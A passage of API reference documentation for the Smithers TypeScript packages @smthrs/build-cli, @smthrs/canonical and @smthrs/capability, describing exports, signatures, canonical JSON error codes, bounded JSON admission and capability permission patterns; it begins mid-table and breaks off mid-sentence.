| `GithubRenderError`   | class carrying `code`                                              | One typed refusal.                                                                            |
| `isGithubRenderError` | `(value: unknown) => value is GithubRenderError`                   | Guard.                                                                                        |
| `ErrorCode`           | union of refusal codes                                             | From `unlabeled_cigen` and `duplicate_job_id` through `outside_write_set` and `write_failed`. |

## MemoryBackend

Retaining facts in the declared Smithers Cloud banks. From
`@smthrs/build-cli/MemoryBackend`.

| Export                                                                             | Signature                                                             | What it is                                                    |
| ---------------------------------------------------------------------------------- | --------------------------------------------------------------------- | ------------------------------------------------------------- |
| `retain`                                                                           | `(options: RetainOptions) => Promise<RetainResult>`                   | Retains the referenced commit in the declared banks.          |
| `RetainOptions`                                                                    | `{ root; target; memory; locator?; cli?; resolveSource? }`            | One retain's inputs.                                          |
| `RetainResult`                                                                     | `{ binary: string; facts: ReadonlyArray<RetainedFact> }`              | The binary that ran and the facts it wrote.                   |
| `RetainedFact`                                                                     | `{ namespace; key; args; stdout }`                                    | One written fact.                                             |
| `CliLocator`                                                                       | `{ find(): Promise<string \| undefined> }`                            | Finds the `smithers` binary.                                  |
| `pathLocator`                                                                      | `(environment) => CliLocator`                                         | The default locator: scans `PATH`.                            |
| `MemoryCli`                                                                        | `{ run(binary, args, cwd) => Promise<{ exitCode; stdout; stderr }> }` | Runs one backend invocation.                                  |
| `spawnCli`                                                                         | `(options?: SpawnCliOptions) => MemoryCli`                            | The default runner; spawns with no shell.                     |
| `SpawnCliOptions`                                                                  | `{ timeoutMs?: number }`                                              | Its one option.                                               |
| `memoryCliCommands`                                                                | `ReadonlyArray<string>`                                               | The subcommands `smithers memory` ships.                      |
| `parseMemoryHelpCommands`                                                          | `(help: string) => ReadonlyArray<string>`                             | Parses the `Commands:` section of its help output.            |
| `assertMemoryCliCommand`                                                           | `(subcommand: string) => void`                                        | Asserts a subcommand is in the shipped surface.               |
| `MemoryBackendUnavailable`                                                         | class carrying `code`                                                 | `no_backend_declared` or `cli_not_found`.                     |
| `MemoryCapabilityMissing`                                                          | class carrying `capability`                                           | A required operation has no counterpart in the installed CLI. |
| `MemoryCommandFailed`                                                              | class carrying `exitCode`, `stdout`, `stderr`, `args`                 | The backend ran and refused.                                  |
| `isMemoryBackendUnavailable`, `isMemoryCapabilityMissing`, `isMemoryCommandFailed` | guards                                                                | One per error class.                                          |

## Mount

Materializing an overlay repository's mount before a command plans. From
`@smthrs/build-cli/Mount`. See [Mounts](https://github.com/smithersai/smithers/blob/main/packages/smithers/build/build-cli/docs/concepts/mounts.md).

| Export               | Signature                                                                  | What it is                                                                                        |
| -------------------- | -------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------- |
| `resolveWorkspace`   | `(start: string, options: Options) => Promise<Resolved>`                   | The directory a command plans in: a materialized checkout from an overlay, `start` anywhere else. |
| `materialize`        | `(overlayRoot, name, options: Options) => Promise<Materialized>`           | Fetches the pin, applies the patches, and lays the overlay for one named mount.                   |
| `loadConfig`         | `(overlayRoot: string) => Promise<Mounts>`                                 | Evaluates `.smithers/config.ts` and returns its `S.Mounts` declaration.                           |
| `summary`            | `(mount: Materialized) => string`                                          | The one-line report a command prints after materializing.                                         |
| `Options`            | `{ environment; report; signal? }`                                         | The git environment, the report sink, and cancellation.                                           |
| `Resolved`           | `{ workspace: string; mount: Materialized \| undefined }`                  | Where a command plans, and the mount behind it.                                                   |
| `Materialized`       | `{ name; root; overlayRoot; repository; pin; base; head; patches; drift }` | One materialized mount.                                                                           |
| `Drift`              | `{ state; track?; tip? }`                                                  | `untracked`, `current`, `behind`, or `unknown`.                                                   |
| `MountError`         | class carrying `code`                                                      | One typed refusal, from `mount_config_invalid` to `mount_overlay_collision`.                      |
| `checkoutsDirectory` | `".mounts"`                                                                | The overlay-relative directory every checkout lives under.                                        |
| `receiptFile`        | `"smithers-mount.json"`                                                    | The receipt in a checkout's `.git` directory.                                                     |

## RspackRunner

Bundler targets, run through the workspace's own bundler. From
`@smthrs/build-cli/RspackRunner`.

| Export             | Signature                                                               | What it is                                      |
| ------------------ | ----------------------------------------------------------------------- | ----------------------------------------------- |
| `resolveGraph`     | `(options: RunnerOptions, payload) => Effect<ResolveResult, ExecError>` | Resolves one module graph.                      |
| `runBuild`         | `(options: RunnerOptions, payload) => Effect<Exec.Result, ExecError>`   | Runs one build for one environment and mode.    |
| `ResolveLive`      | `(options: RunnerOptions) => Layer`                                     | Implements the bundler-resolve action.          |
| `BuildLive`        | `(options: RunnerOptions) => Layer`                                     | Implements the bundler-build action.            |
| `RunnerOptions`    | `{ workspaceRoot; scratchDirectory; timeoutMs? }`                       | Host wiring for one runner.                     |
| `defaultTimeoutMs` | `15 * 60 * 1000`                                                        | Wall-clock bound for one bundler child process. |

## WorkspaceToolchain

Workspace declaration resolution, from `@smthrs/build-cli/WorkspaceToolchain`.

| Export                                   | Contract                                                                                        |
| ---------------------------------------- | ----------------------------------------------------------------------------------------------- |
| `WorkspaceToolchain`                     | The resolved `runtime` and `packageManager`, either of which may be absent.                     |
| `ResolvedWorkspaceToolchain`             | A `WorkspaceToolchain` with sorted `manifestDigests: ReadonlyArray<Input.FileDigest>`.          |
| `of(workspace)`                          | Reads literal declarations without I/O; leaves manifest-derived requirements unresolved.        |
| `resolve(workspace, { root, signal? })`  | Returns `Promise<ResolvedWorkspaceToolchain>` after resolving declared manifests within `root`. |
| `fill(workspaceAttrs, attrs, toolchain)` | Fills only named, omitted attrs; preserves explicit target declarations.                        |

`resolve` reads `engines.node` and the pnpm `packageManager` pin from declared
manifests. An explicit pnpm version wins while its manifest is still read and
measured. Each manifest is bounded at 1 MiB, decoded as strict UTF-8, and must be
a JSON object inside the workspace. The same validated text supplies both its
requirements and digest; equivalent paths are read once per resolution. Missing
or invalid pins, unsupported version syntax, path escapes, and cancellation
refuse resolution. No tool is installed or executed by this resolver.

From `@smthrs/build-cli/engine`, `TargetToolchain` carries the tools one
action-backed target uses. `targetToolchain(target, attrs)` selects them from
validated attrs without probing. `verifyTargetToolchain(toolchain, cwd,
environment, sensitiveEnvironment?)` is an Effect requiring a
`ChildProcessSpawner`; it verifies the selected runtime and manager in the
target's directory and tool environment before execution. It performs no
install or fetch. `PnpmWorkspace` and `GithubCiGen` only render declarations and
need no tool probe; an explicit Bun Vitest runtime selects Bun as its runner.
The package planner verifies native `Runtime.bin` references and
`PackageManager.bin` references with a resolved Node/Bun toolchain. These checks
do not change legacy Yarn lowering or guarantee the
interpreter chosen by an arbitrary custom package-manager launcher.

For native `Runtime.npx` references under Node, the planner keys both the
JavaScript launcher bytes and its bounded `--version` result (exit code and
output), executed by the selected Node in the same restricted environment and
workspace directory. Runtime and launcher version probes are distinct even
though they use the same executable; identical executable/argument probes are
shared within a plan. This measures a changed reported implementation version
behind an unchanged launcher, without claiming to hash every transitive import.

Docker, Foundry, Anvil and `Mise.bin` host facts share one probe cache per
plan invocation: N Docker targets run one `docker --version`, one `docker
info` and one `docker buildx ls`, keyed by the resolved executable and the
probe environment. Project facts such as `forge config` are keyed by
directory, config path and profile, so they never alias a host probe.

## Modules outside the barrel

Every one of these is importable as `@smthrs/build-cli/<Module>`. The barrel
leaves them out because a host reaches them through the modules above rather
than driving them directly.

| Module                                                                                                                     | What it holds                                                                                |
| -------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------- |
| `Cli`                                                                                                                      | `makeCli`, `cli`, `normalizeArgv`, `RuntimeConfig`.                                          |
| `Positionals`                                                                                                              | `guard`, `surplus`, and `unconsumed`: every command refuses positionals it does not consume. |
| `KnownRed`                                                                                                                 | The known-red list: `parse`, `read`, `judge`, `describe`, `fingerprint`, and `today`.        |
| `effect-resolution`                                                                                                        | The single-instance Effect resolver the process entry installs.                              |
| `CacheAdmin`                                                                                                               | Local action-cache inspection and retention: `directory`, `entries`, `inspect`, `remove`.    |
| `OutputStream`                                                                                                             | Bounded, redacted live views of subprocess output.                                           |
| `Entry`                                                                                                                    | `Host` and `main`.                                                                           |
| `engine`                                                                                                                   | The install adapter and its layers.                                                          |
| `Cache`                                                                                                                    | The result cache and the content-addressed store.                                            |
| `PackageDiscovery`, `PackageLoader`, `PackageIndex`                                                                        | Discovery, declaration loading, and the validated index.                                     |
| `PackageExec`                                                                                                              | The build executor: plan, execute, run.                                                      |
| `PackageTree`                                                                                                              | Write-set confinement, the gitignored census, and the ceilings.                              |
| `Executor`                                                                                                                 | `Summary`, `TargetReport`, `mergePlans`, `describeFailure`.                                  |
| `Owners`                                                                                                                   | Ownership resolution and the generated `CODEOWNERS` and `OWNERS` files.                      |
| `GraphOutput`                                                                                                              | Text-tree and Mermaid rendering of a graph.                                                  |
| `Diagnostic`                                                                                                               | Bounded rendering of a failure into text.                                                    |
| `Ansi`                                                                                                                     | Palette selection and the environment it reads.                                              |
| `RepoResolution`                                                                                                           | Resolving a `Repo.Target` through a child CLI.                                               |
| `WorkspaceLoader`, `WorkspaceToolchain`                                                                                    | Reading the workspace declaration and its toolchain.                                         |
| `TargetExecution`                                                                                                          | The per-target execution boundary.                                                           |
| `Environment`                                                                                                              | The ambient environment a run reads.                                                         |
| `PackageError`                                                                                                             | The typed discovery and index refusals.                                                      |
| `MarkdownCodeBlocks`                                                                                                       | The `Markdown.CodeBlocks` rule implementation.                                               |
| `DockerExec`, `FetchExec`, `FoundryExec`, `GitSubmoduleExec`, `GoExec`, `NixExec`, `OverlayExec`, `StampExec`, `AnvilExec` | One rule family's execution each.                                                            |

`OverlayExec.apply` confines replacement sources and destinations to the canonical
scratch root. It refuses destination directory symlinks, dangling destination
links, and file links that resolve outside scratch, including absolute links back
to the original workspace. An internal destination file link is replaced with a
regular file without changing its target. Replacement files are staged beside the
destination and renamed into place.

### Ownership projections

`Owners.renderCodeowners(index, org)` emits package directory rules followed
by their effective per-file rules. Ancestor per-file rules are scoped to each
nested package, stopping at `noparent`. Overlapping rules emit intersections
with the union of their owners so the last matching line retains every
required approver. An empty directory rule clears inherited ownership.
Use CODEOWNERS-compatible globs: `*` and `?` within path components, and `**`
across directories.

Both `Owners.renderCodeowners` and `Owners.renderOwnersTree` compute each
relevant upstream claimant's dependency closure and package owners once per
render call. Review-only claims appear in the OWNERS tree and are omitted
from CODEOWNERS.

`Diagnostic.report(cause, { verbose })` preserves designed refusals and gives
unexpected command failures a redacted tag, message and private log receipt.
`Diagnostic.unexpected(cause, directory?)` writes only that bounded diagnostic to
`failure.log` in a fresh private temporary directory (or the supplied parent).
If writing fails, it returns the diagnostic with `Diagnostics: unavailable`.
Neither function serializes error payloads, stacks, arguments or environment.
The side-effect-free `Diagnostic.present` remains available for rendering alone.

---

# @smthrs/canonical
https://smithers.sh/docs/reference/api/canonical/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/canonical/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/canonical/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/canonical/docs)

The package provides canonical serialization, its schema and errors, bounded JSON admission, and an array-excluding record guard.

```ts
import { Canonical, CanonicalError, canonicalize } from "@smthrs/canonical"
import type { CanonicalErrorCode } from "@smthrs/canonical"
```

The schema is also importable as `@smthrs/canonical/Canonical`. The shape guard is importable as `@smthrs/canonical/Record`. Private paths `@smthrs/canonical/internal/*` and `@smthrs/canonical/*/index` are
blocked in the export map.

`@smthrs/canonical/Serializer` exports the same `canonicalize`, `CanonicalError`,
and `CanonicalErrorCode` without loading Effect. Wire contracts can use that
entry point while retaining identical canonical bytes and error identities.

The behavior every entry below shares is on
[The serialization contract](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/canonical/docs/serialization.md).
[RFC 8785](https://www.rfc-editor.org/rfc/rfc8785.html) is the normative format
specification.

## canonicalize

```ts
const canonicalize: (input: unknown, options?: { readonly loneSurrogates?: "escape" }) => string
```

Serializes a value into an RFC 8785 canonical JSON document by default.
The optional `loneSurrogates: "escape"` policy preserves unpaired UTF-16 code
units as JSON escapes for legacy sorted-JSON formats. That mode is not RFC 8785
and must not be used where strict canonical bytes are required.

| Parameter | Type      | Meaning                                                                                       |
| --------- | --------- | --------------------------------------------------------------------------------------------- |
| `input`   | `unknown` | Any JavaScript value. `JSON.stringify` semantics reduce it to JSON data before serialization. |

**Returns** the canonical document as a plain `string`. It is always valid JSON
text. In the default strict mode, canonicalizing its parse returns the same string.

**Throws** a [`CanonicalError`](#canonicalerror) when the value has no
canonical form. The error names the failure with a stable
[code](#canonicalerrorcode) and the JSON-style path of the offending value.

```ts
canonicalize({ flowId: "build", input: { target: "web-app", clean: false } })
// => '{"flowId":"build","input":{"clean":false,"target":"web-app"}}'
```

## Canonical

```ts
const Canonical: Schema.decodeTo<
  Schema.brand<Schema.String, "@smthrs/canonical/Canonical">,
  Schema.Unknown,
  never,
  never
>
```

The same serialization as an [`effect/Schema`](https://effect.website) codec,
built against Effect 4: the package declares `effect@4.0.5` as a peer
dependency.

**Decoding** takes any value, canonicalizes it, and returns the document
branded. The serializer guarantees valid JSON, so decoding does not parse its
output again. A value with no canonical form fails with a `Schema.SchemaError`
whose message carries the same `code: detail at path` text `canonicalize`
would have thrown.

**Encoding** takes a canonical document and parses it back into a plain JSON
value. The round trip is lossy exactly where JSON is lossy: a `Date` comes back
as a string, and a member dropped for being `undefined` does not return. The
brand guarantees canonical form on the typed path. An unknown-string encode
(`Schema.encodeUnknownSync` or `Schema.encodeUnknownEffect`) validates the
text: a string that does not parse fails with a `Schema.SchemaError` whose
message starts with `canonical_malformed:`, never a raw `SyntaxError`.

```ts
import * as Schema from "effect/Schema"

const document = Schema.decodeUnknownSync(Canonical)({ b: 2, a: 1 })
// => '{"a":1,"b":2}'

Schema.encodeUnknownSync(Canonical)(document)
// => { a: 1, b: 2 }
```

Pass `{ reportInput: false }` to suppress Schema input rendering only. It does
not redact the custom issue message, which includes the path and any original
getter or `toJSON` exception text. See
[Canonicalize inside an Effect pipeline](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/canonical/docs/guides/use-the-schema.md).

## Canonical (type)

```ts
type Canonical = typeof Canonical.Type
// string & Brand<"@smthrs/canonical/Canonical">
```

A canonical JSON document. The brand is obtainable only by decoding through the
`Canonical` schema, so a string that merely looks like JSON cannot be passed
where a canonical document is required.

## CanonicalError

```ts
class CanonicalError extends TypeError {
  readonly code: CanonicalErrorCode
  readonly path: string
  constructor(code: CanonicalErrorCode, detail: string, path: string, options?: ErrorOptions)
}
```

A stable, located canonicalization failure, thrown by `canonicalize`.

| Member    | Type                 | Meaning                                                                                            |
| --------- | -------------------- | -------------------------------------------------------------------------------------------------- |
| `name`    | `string`             | Always `"CanonicalError"`.                                                                         |
| `code`    | `CanonicalErrorCode` | The stable failure identifier. Safe to branch on and to log.                                       |
| `path`    | `string`             | The JSON-style path of the offending value. Member names are caller-supplied and may be sensitive. |
| `message` | `string`             | `` `${code}: ${detail} at ${path}` ``.                                                             |
| `cause`   | `unknown`            | The original error, for `canonical_tojson_threw` and `canonical_getter_threw`. Absent otherwise.   |

Report only the stable `code` by default. Treat every path segment, `message`,
and `cause` text as caller-controlled and potentially sensitive. Member names
can contain tokens or emails, and callback exception text is copied into
`message`. `reportInput: false` affects Schema input rendering only; it does
not sanitize a `CanonicalError`. Allowlist or redact diagnostics before they
cross a log or RPC boundary. See
[Limit diagnostic disclosure](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/canonical/docs/guides/use-the-schema.md#limit-diagnostic-disclosure).

Path grammar:

| Segment     | Meaning                                                     |
| ----------- | ----------------------------------------------------------- |
| `$`         | The root value.                                             |
| `.name`     | A member whose name matches `/^[A-Za-z_$][A-Za-z0-9_$]*$/`. |
| `["name"]`  | Any other member, with the name JSON-quoted.                |
| `[0]`       | An array index.                                             |
| `.toJSON()` | A step into the result of a `toJSON` method.                |

```ts
try {
  canonicalize({ input: { tags: new Set(["release"]) } })
} catch (error) {
  if (error instanceof CanonicalError) {
    error.code // "canonical_unsupported_value"
    error.path // "$.input.tags"
  }
}
```

## CanonicalErrorCode

```ts
type CanonicalErrorCode =
  | "canonical_bigint"
  | "canonical_circular"
  | "canonical_depth_exceeded"
  | "canonical_getter_threw"
  | "canonical_lone_surrogate"
  | "canonical_nan"
  | "canonical_non_finite"
  | "canonical_tojson_threw"
  | "canonical_unsupported_value"
```

The nine stable failure identifiers. They are part of the package's public
contract: a consumer may branch on them, and they do not change with a value's
shape or a host's runtime.

| Code                          | Raised when                                                                                                                                                                                                                                                             |
| ----------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `canonical_bigint`            | A `bigint`, boxed or not, reaches the serializer.                                                                                                                                                                                                                       |
| `canonical_circular`          | A value is an ancestor of itself. Sharing without a cycle is allowed.                                                                                                                                                                                                   |
| `canonical_depth_exceeded`    | Nesting passes 10,000 levels below the root. The detail names both numbers.                                                                                                                                                                                             |
| `canonical_getter_threw`      | Reading a property threw: an accessor, a proxy `get`, `ownKeys`, or `getPrototypeOf` trap, or a proxied array's `length`. The original error is `cause`.                                                                                                                |
| `canonical_lone_surrogate`    | A member name or a string value carries an unpaired surrogate. The detail says `key` or `value`.                                                                                                                                                                        |
| `canonical_nan`               | A number is `NaN`.                                                                                                                                                                                                                                                      |
| `canonical_non_finite`        | A number is `Infinity` or `-Infinity`. The detail names which.                                                                                                                                                                                                          |
| `canonical_tojson_threw`      | A `toJSON` method threw. The original error is `cause`.                                                                                                                                                                                                                 |
| `canonical_unsupported_value` | A lossy built-in or class instance (`Map`, `Set`, `WeakMap`, `WeakSet`, `ArrayBuffer`, a typed array, `RegExp`, an `Error` subclass, any non-plain object), or a root value that is `undefined`, a function, or a symbol. The detail names the constructor or the type. |

Each code, with its cause and its fix, is in
[Troubleshooting](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/canonical/docs/troubleshooting.md).

## isRecord

`isRecord(value)` accepts non-null objects and excludes arrays. It preserves member types for typed JSON-like values. It does not read properties or validate their contents, and accepts class instances; use `canonicalize` or a schema when validating serialization. Import it from the package root or `@smthrs/canonical/Record`.

## BoundedJson

`BoundedJson.admit(input, limits)` copies inert JSON without calling getters or
`toJSON`. A Proxy's `ownKeys`, `getOwnPropertyDescriptor`, and
`getPrototypeOf` traps still run, so admission bounds parsed or otherwise inert
data, not a live Proxy from untrusted code. A success carries `{ ok: true, value, bytes }`; a refusal carries
`{ ok: false, code, complaint, path }`. `path` contains property names and array
indices, so callers should allowlist or redact sensitive segments before
reporting it, then bound its length. A length cap does not remove secrets.

The required limits are `maxDepth`, `maxNodes`, and `maxMembers` (per array or
object). Optional `maxTotalMembers` bounds members across the whole tree.
`maxBytes`, `maxStringBytes`, and `maxKeyBytes` bound the encoded JSON bytes,
including quotes and escapes. The snapshot is deeply frozen; objects have null
prototypes. Sparse arrays, accessors, enumerable symbols, non-plain objects,
cycles, non-JSON values, and malformed Unicode are refused.

Object descriptor collection checks member limits before buffering each
additional enumerable property. It also refuses when the minimum node or encoded
byte cost of the members seen exceeds the remaining budget. `Reflect.ownKeys`
still enumerates and materializes all own keys before these checks; skipped
non-enumerable properties still require descriptor inspection. Bound raw input
size outside admission to constrain that work.

`BoundedJson.encodedStringBytes(value, maximum?)` counts a JSON string's UTF-8
bytes without allocating its encoded copy, or returns `undefined` for malformed
or oversized text. It counts the short control escapes exactly.

Import the namespace from the package root or `@smthrs/canonical/BoundedJson`.
Admission is a separate boundary from canonical serialization and does not alter
`canonicalize`'s handling of values or its output bytes.

### Ordinary admission options

`admit(input, limits, { preflightObjects: false })` disables the early minimum
node and byte checks during object descriptor collection. The final limits still
apply, but a child refusal can be reported before the enclosing budget refusal.
The default is `true`; member bounds remain active in either mode.
Ordinary admission permits shared references and copies each occurrence, ignores
hidden properties, and counts depth as edges from the root (root depth zero).
Refusal paths are arrays of string segments, including stringified array indices.

### Strict admission

`BoundedJson.admitStrict(input, limits, options?)` returns `{ ok: true, value }`
or `{ ok: false, path, complaint }`. Its path is a JSON-style string beginning
with `$`; it does not return the ordinary result's byte count or issue code.
All six `StrictLimits` fields are required: `maxBytes`, `maxDepth`, `maxMembers`,
`maxNodes`, `maxStringBytes`, and `maxKeyBytes`. Depth counts containers, so
`maxDepth: 1` accepts a root container with primitive children. `maxMembers`
bounds the cumulative number of members across the tree as well as each
container. Use nonnegative finite integer limits.

Strict admission rejects shared object references, hidden members, symbol keys,
nonordinary arrays, and the record keys `__proto__`, `constructor`, and
`prototype`, in addition to ordinary admission's refusals. Both plain and
null-prototype input records are accepted. The default copies are frozen,
null-prototype records and ordinary arrays.

| Option            | Behavior                                                                                                                                                                                                                                            |
| ----------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `ordinaryRecords` | Produce frozen records with `Object.prototype` instead of null prototypes. Reserved input keys remain refused.                                                                                                                                      |
| `boundedText`     | Reject overlong UTF-16 text before scanning its encoded bytes. Malformed or oversized key diagnostics use `[key:0]`, `[key:1]`, etc., instead of copying the offending key. Other paths, including reserved-key refusals, still contain input keys. |
| `onContainer`     | Receive each detached, frozen container in child-before-parent order. Earlier callbacks can run even if a later member refuses the whole tree. A thrown callback becomes an inspection refusal.                                                     |
| `native`          | Handle a nonordinary, non-array object as a leaf by returning `{ value, bytes }`, or return `undefined` to refuse it. The byte size must be a nonnegative safe integer and fit the total budget.                                                    |

`native` is a trusted extension: admission neither validates nor copies nor
freezes the returned value. The adapter must provide the promised detached
representation and accurate encoded size. It is still subject to node, depth,
and repeated-reference checks. Proxy inspection runs before the adapter; thrown
adapter errors become inspection refusals.

```ts
import { BoundedJson } from "@smthrs/canonical"

const containers: Array<unknown> = []
const admitted = BoundedJson.admitStrict({ tags: ["release"] }, {
  maxBytes: 64,
  maxDepth: 2,
  maxMembers: 2,
  maxNodes: 3,
  maxStringBytes: 16,
  maxKeyBytes: 16
}, {
  ordinaryRecords: true,
  onContainer: (value) => containers.push(value)
})
// admitted.ok === true; containers contains the tags array, then the record.
```

## ReadonlyMap.make

Import `make` from `@smthrs/canonical/ReadonlyMap`; it is not a root export.
`make<K, V>(entries?: Iterable<readonly [K, V]>): ReadonlyMap<K, V>` copies the
entries into a private map and returns a frozen facade with `size`, `get`,
`has`, `forEach`, `entries`, `keys`, `values`, and iteration. Duplicate keys use
the last value, retaining their first insertion position. No mutation methods
are exposed. `forEach` receives the facade as its third argument and honors
`thisArg`. Entry values and keys themselves are not copied or frozen. Invalid
iterables propagate the native `Map` construction error.

```ts
import { make } from "@smthrs/canonical/ReadonlyMap"

const registry = make([["build", { enabled: true }]] as const)
registry.get("build")?.enabled // true
const names = [...registry.keys()] // ["build"]
```

## IssuePath.firstPath

Import `firstPath` from `@smthrs/canonical/IssuePath`; it is not a root export.
`firstPath(error: Schema.SchemaError): string` follows the first issue branch
and renders its field path without rendering the rejected value. Identifiers
use dot notation, other string keys use JSON-quoted brackets, and numeric
indices use brackets. A root rejection returns `$`. Traversal stops after 64
issue wrappers, returning the path collected so far; this does not bound the
length of a key or the resulting string. Paths still contain caller-supplied
keys and need redaction where those keys are sensitive.

```ts
import { firstPath } from "@smthrs/canonical/IssuePath"
import * as Schema from "effect/Schema"

let rejectedPath = "$"
try {
  Schema.decodeUnknownSync(Schema.Struct({ count: Schema.Number }))({ count: "invalid" })
} catch (error) {
  if (!Schema.isSchemaError(error)) throw error
  rejectedPath = firstPath(error)
}
// rejectedPath === "$.count"
```

---

# @smthrs/capability
https://smithers.sh/docs/reference/api/capability/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/capability/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/capability/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/capability/docs)

> **Related APIs:** [`@smthrs/canonical`](/docs/reference/api/canonical/)

`@smthrs/capability` exports `decodePermissionError` and two modules from its
root entry point. Each module is also importable from
`@smthrs/capability/<Module>`:

```ts
import { Capability, decodePermissionError, Permission } from "@smthrs/capability"
// or
import * as Capability from "@smthrs/capability/Capability"
import * as Permission from "@smthrs/capability/Permission"
```

`@smthrs/capability/internal/*` and `@smthrs/capability/*/index` are not
public. `@smthrs/capability/package.json` is exported.

Every export is a value, a schema, or a pure function. Enforcement, the
`GrantStore`, the decorating layers, and the journal live in
[`@smthrs/kernel`](/docs/reference/api/kernel/). This package's one runtime dependency is
[`@smthrs/canonical`](/docs/reference/api/canonical/), which itself depends only on the shared
`effect@4.0.5` peer. Both the kernel and [`@smthrs/jj`](/docs/reference/api/jj/) can
therefore depend on it without a cycle, and a protected service names
permission failures in its own interface.

:::note
The schema ids (`@smthrs/capability/Capability`, `@smthrs/capability/PermissionDenied`, and the rest) and the `action:resource` text `format` renders are identity, not display text: a stored decision keeps those exact strings and is read back through them. Render capability text with `format` rather than assembling it yourself.
:::

## Example

```ts
import { Capability, Permission } from "@smthrs/capability"

const pattern = new Capability.CapabilityPattern({ action: "fs:write", resource: "/workspace/**" })
const policy = [new Permission.Rule({ effect: "allow", pattern })]

Permission.evaluate([policy], Capability.make("fs:write", "/workspace/out.txt"))
// "allow"
Permission.evaluate([policy], Capability.make("net:post", "https://api.example.test/deploy"))
// "ask"
```

## Entry points

| Import                          | Source                                                                                                                     | Platform |
| ------------------------------- | -------------------------------------------------------------------------------------------------------------------------- | -------- |
| `@smthrs/capability`            | [src/index.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/capability/src/index.ts)           | any      |
| `@smthrs/capability/Capability` | [src/Capability.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/capability/src/Capability.ts) | any      |
| `@smthrs/capability/Permission` | [src/Permission.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/capability/src/Permission.ts) | any      |

## Capability

Capability values, wildcard patterns, the text form both render into, matching,
and effect tiers.

### Capability.Action

```ts
type Action =
  | "fs:read"
  | "fs:write"
  | "net:get"
  | "net:post"
  | "net:private"
  | "model:call"
  | "memory:read"
  | "memory:write"
  | "proc:spawn"
  | "jj:status"
  | "jj:diff"
  | "jj:snapshot"
  | "jj:restore"
  | "jj:workspace-add"
  | "jj:workspace-forget"
  | "jj:root"
  | "jj:revert"
  | "jj:op-restore"

const Action: Schema.Literals<[...]>
```

The closed vocabulary of host operations the permission kernel can authorize.
Exported as both a type and a schema value, so a consumer can validate a bare
selector at an RPC, config, or persistence boundary instead of copying the
list. The set grows by addition and an existing action does not change meaning,
so a stored payload naming an action outside it fails to decode rather than
being read as something adjacent.

`net:private` permits private HTTP destinations for the standard web tools.
Its resource is a normalized URL origin, such as `http://127.0.0.1:8080`, and
it supplements the ordinary request permission. Only an exact `net:private`
action can allow it; wildcard action denies still apply.

### Capability.PatternAction

```ts
type PatternAction = Action | "fs:*" | "net:*" | "model:*" | "memory:*" | "proc:*" | "jj:*" | "*"

const PatternAction: Schema.Literals<[...]>
```

Every action selector a pattern may carry: an exact action, a namespace family,
or the whole-authority `*`.

### Capability.Capability

```ts
class Capability extends Schema.Class<Capability>("@smthrs/capability/Capability")({
  action: Action,
  resource: Schema.String // at most maxResourceLength UTF-16 code units
}) {}
```

One exact adapter request subject to authorization. Construction, parsing, and
decoding all reject a resource longer than
[`maxResourceLength`](#capabilitymaxresourcelength).

### Capability.CapabilityPattern

```ts
class CapabilityPattern extends Schema.Class<CapabilityPattern>("@smthrs/capability/CapabilityPattern")({
  action: PatternAction,
  resource: Schema.String // at most maxResourceLength UTF-16 code units
}) {}
```

An action selector and a resource glob, naming a family of capabilities. The
grammar and its edges are in [Resource globs](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/capability/docs/concepts/resource-globs.md).

### Capability.make

```ts
const make: (action: Action, resource: string) => Capability
```

Constructs an exact capability. Throws when the resource exceeds
`maxResourceLength`.

### Capability.format

```ts
const format: (
  capability: { readonly action: Action | PatternAction; readonly resource: string }
) => string
```

Renders a capability or a pattern as `action:resource`. One renderer serves
both, because they are structurally identical records and this text is identity
rather than display: a stored decision keeps these exact bytes and is read back
through them.

Throws an `InvalidCapabilityAction` (`_tag` `@smthrs/capability/InvalidCapabilityAction`,
`code` `invalid_capability_action`) naming the action when it is outside the closed vocabulary,
so an invalid structural input cannot be rendered into a string that collides
with a valid one.

```ts
Capability.format(Capability.make("net:get", "example.test:8443/api:v1"))
// "net:get:example.test:8443/api:v1"
```

### Capability.parse

```ts
const parse: (input: string) => Option.Option<Capability>
```

Reads back an exact capability. The action is the first two colon-separated
components; every remaining character, colons included, is the resource.
Returns `Option.none()` for a missing component, an unknown action, or an
overlong resource. An empty resource is legal (`fs:read:`); a missing one is
not (`fs:read`).

### Capability.parsePattern

```ts
const parsePattern: (input: string) => Option.Option<CapabilityPattern>
```

Reads back a pattern, with one single-token exception. The whole-authority
action `*` occupies the first component alone, so the bare string `*` parses to
`{ action: "*", resource: "**" }`. That is how a source declaring no
capabilities of its own is written down, and the string is stored and read back
verbatim rather than rewritten, so this reader owns its meaning. The resource is
`**` rather than `*` because `subsumes` proves that `**` covers every resource,
while `*` proves only an identical `*`. Every other missing component is a
rejection, not a default.

```ts
Capability.parsePattern("*")
// Option.some(CapabilityPattern { action: "*", resource: "**" })
Capability.parsePattern("fs:read")
// Option.none()
```

### Capability.isLiteralResource

```ts
const isLiteralResource: (resource: string) => boolean
```

Reports whether the grammar reads a resource as literal text, so it selects
that resource and nothing else. Returns `false` for any resource carrying `*`
or `?`. Ask here instead of scanning for those two characters: this predicate
is where the set of metacharacters is defined, so a caller cannot fall behind
the grammar.

### Capability.patternFromCapability

```ts
const patternFromCapability: (capability: Capability) => Option.Option<CapabilityPattern>
```

Derives the exact pattern for a request. Returns `Option.none()` when the
resource is overlong or contains `*` or `?`, because the grammar has no escape
